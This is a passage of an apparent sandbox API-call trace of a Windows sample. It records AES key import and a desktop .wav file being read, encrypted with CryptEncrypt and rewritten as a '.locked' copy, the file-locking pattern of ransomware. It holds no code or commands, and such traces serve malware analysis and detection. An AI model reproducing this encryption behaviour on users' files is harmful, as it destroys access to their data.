(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.406] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.407] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.407] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.407] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.407] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.407] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.407] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.407] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.407] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.407] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.407] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.408] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.408] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0128.409] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e027a0) returned 1 [0128.409] CryptImportKey (in: hProv=0x8e027a0, pbData=0x694c21c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e85138) returned 1 [0128.409] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xc114\x694") returned 0x0 [0128.409] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.409] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.409] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.411] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0128.411] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0128.411] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.411] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.411] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.412] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.412] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.412] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.412] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.414] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.414] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.415] GetFileType (hFile=0x868) returned 0x1 [0128.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.415] GetFileType (hFile=0x868) returned 0x1 [0128.415] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.415] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.416] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.416] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.416] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.416] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked", lpFilePart=0x0) returned 0x3c [0128.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.416] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0128.416] GetFileType (hFile=0x858) returned 0x1 [0128.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.416] GetFileType (hFile=0x858) returned 0x1 [0128.416] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.417] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6962700 | out: pbBuffer=0x6962700) returned 1 [0128.417] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.417] CryptDuplicateKey (in: hKey=0x8e85138, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84bf8) returned 1 [0128.417] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.417] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x4, pbData=0x69639bc*=0x1, dwFlags=0x0) returned 1 [0128.417] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x1, pbData=0x6963988, dwFlags=0x0) returned 1 [0128.418] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xf480\x437\x242") returned 0x0 [0128.418] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.418] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.418] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.419] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.419] ReadFile (in: hFile=0x868, lpBuffer=0x6966fe0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6966fe0*, lpNumberOfBytesRead=0x99ae6cc*=0x14000, lpOverlapped=0x0) returned 1 [0128.419] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x697afec*, pdwDataLen=0x99ae6c0*=0x14000, dwBufLen=0x14000 | out: pbData=0x697afec*, pdwDataLen=0x99ae6c0*=0x14000) returned 1 [0128.419] WriteFile (in: hFile=0x858, lpBuffer=0x69627c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69627c0*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.420] WriteFile (in: hFile=0x858, lpBuffer=0x697bfd8*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x697bfd8*, lpNumberOfBytesWritten=0x99ae6a4*=0x13014, lpOverlapped=0x0) returned 1 [0128.421] ReadFile (in: hFile=0x868, lpBuffer=0x6966fe0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6966fe0*, lpNumberOfBytesRead=0x99ae6cc*=0x13f7, lpOverlapped=0x0) returned 1 [0128.421] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x698f010*, pdwDataLen=0x99ae6c0*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x698f010*, pdwDataLen=0x99ae6c0*=0x13f0) returned 1 [0128.421] WriteFile (in: hFile=0x858, lpBuffer=0x698f010*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x698f010*, lpNumberOfBytesWritten=0x99ae6a4*=0x13f0, lpOverlapped=0x0) returned 1 [0128.421] ReadFile (in: hFile=0x868, lpBuffer=0x6966fe0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6966fe0*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.422] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6990424*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6990424*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.422] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6990458*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6990458*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.422] WriteFile (in: hFile=0x858, lpBuffer=0x69627c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x69627c0*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0128.422] CloseHandle (hObject=0x858) returned 1 [0128.424] CloseHandle (hObject=0x868) returned 1 [0128.424] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.424] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.424] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.424] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.424] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0128.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0128.426] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.426] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.427] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.427] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.427] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.427] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0128.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: 